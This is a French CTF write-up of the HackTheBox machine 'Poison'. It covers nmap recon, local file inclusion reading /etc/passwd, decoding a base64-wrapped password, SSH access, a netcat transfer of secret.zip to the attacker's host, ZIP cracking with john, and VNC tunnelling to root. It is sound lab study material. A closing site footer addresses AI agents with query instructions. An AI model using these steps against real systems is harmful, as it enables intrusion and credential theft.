> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md).

# Compte rendu HackTheBox de Poison

{% embed url="<https://app.hackthebox.com/machines/Poison>" %}

{% hint style="warning" %}
**Compétences :**

* Inclusion de fichiers locaux (LFI)
* Cassage du fichier ZIP
* Exploitation abusive de VNC - vncviewer (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/292d78d828a92f1249fe433599d7d28db84b3e53" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/8cb5f53df10e7deed4c63aa537c461038efc3c00" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts
```

<figure><img src="/files/8c5448c2596ff3bb79a86fcf7ca3944cf4e77747" alt=""><figcaption></figcaption></figure>

**Analyse de version des ports avec Nmap (22, 80) :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.10.84 -oN targeted 
```

<figure><img src="/files/fb3a189bf9d41b02cb6757fdb3349253ae3a01cc" alt=""><figcaption></figcaption></figure>

## Port 80 - FreeBSD

{% hint style="info" %}
FreeBSD est un système d'exploitation libre open source populaire basé sur la version BSD du système d'exploitation Unix. FreeBSD a la réputation d'être rapide, stable et particulièrement adapté à une utilisation comme serveur Internet ou serveur de fichiers.
{% endhint %}

<figure><img src="/files/f3ade219ad0b14c7eb8c834f95bc10cb554aa369" alt=""><figcaption></figcaption></figure>

### **Exploitation LFI**

Nous identifions un paramètre vulnérable :

```
?file=FILE
```

<figure><img src="/files/0f436a5d5acc8cfd93f907d3b06dbb2ad40ff307" alt=""><figcaption></figcaption></figure>

Cela nous permet de lire n'importe quel fichier disponible sur le système.

À distance `pwnbackup.txt`, nous trouvons une chaîne indiquant un mot de passe chiffré **13 fois en base64**:

```
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo
```

<figure><img src="/files/fe29046e5244f5a9957062949624441c5ee2b7b7" alt=""><figcaption></figcaption></figure>

Déchiffrement avec `echo`:

{% code overflow="wrap" %}

```bash
echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo
```

{% endcode %}

Le mot de passe révélé est :

* `Charix!2#4%6&8(0`

### **Recherche d'utilisateur système**

Nous listons `/etc/passwd` via le LFI et trouvons l'utilisateur **charix**.

<figure><img src="/files/d8706bfd8141e734797af43009cb78b29397e826" alt=""><figcaption></figcaption></figure>

Connexion SSH avec les identifiants trouvés :

```bash
ssh charix@10.10.10.84 
```

<figure><img src="/files/bf38b85983627af167dafacdef3afcbe46b66bc7" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

Drapeau `user.txt` récupéré

<figure><img src="/files/badb3104d8bfeab149cadab27e998779b1644143" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

Nous trouvons un fichier **secret.zip**.

#### **Transfert de fichier avec Netcat**

Sur notre machine :

```bash
nc -nvlp 443 > secret.zip
cat secret.zip  | nc 10.10.14.50 443
```

Le fichier est protégé par mot de passe.

<figure><img src="/files/49b24b299d5290bbeaea6c5e15f0ed713facf2be" alt=""><figcaption></figcaption></figure>

### **Craquage du mot de passe ZIP**

**Extraire le hachage avec `zip2john`**:

Nous allons donc utiliser zip2john pour extraire le hachage

```bash
zip2john secret.zip > hash
```

**Cassage du mot de passe avec `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Résultat**: Introuvable

<figure><img src="/files/53a40c83e1c74f784dc49d057cce2d153b62051c" alt=""><figcaption></figcaption></figure>

Nous testons la réutilisation du mot de passe précédemment découvert :

<figure><img src="/files/a91cda71f0b1e2f6f9de25a79d685e0988973bc1" alt=""><figcaption></figcaption></figure>

/*Succès ! /*/\*

`secret` le fichier contient des caractères étranges, suggérant une clé d'accès

### Exploitation des ports 5800, 5801, 5900, 5901 - VNC

Nous identifions les ports à l'écoute :

```bash
netstat -an | grep LISTEN
```

<figure><img src="/files/313027813d05ba2bc495b1cabb361ca553ebbcc3" alt=""><figcaption></figcaption></figure>

#### **Tunnel SSH pour transférer les ports VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="/files/51617f3a5166b23d0a575803ddec918d1fd38292" alt=""><figcaption></figcaption></figure>

Analyse du service VNC :

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="/files/fe7b8d0b860c9334460583c0c901921ea05e4eb3" alt=""><figcaption></figcaption></figure>

#### **Connexion via vncviewer**

Nous utilisons le mot de passe trouvé dans `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

Nous obtenons un **l'accès root** sur la machine !

<figure><img src="/files/7f5cfab23abc51cb789cf964e775e695d0460d10" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt

<figure><img src="/files/53a8cf0ade61ec7dc66efcbbdf434ab6850d117f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f06c8c918375dbe8cba30f0ea37e6ae2e1e05c64" alt="" width="404"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
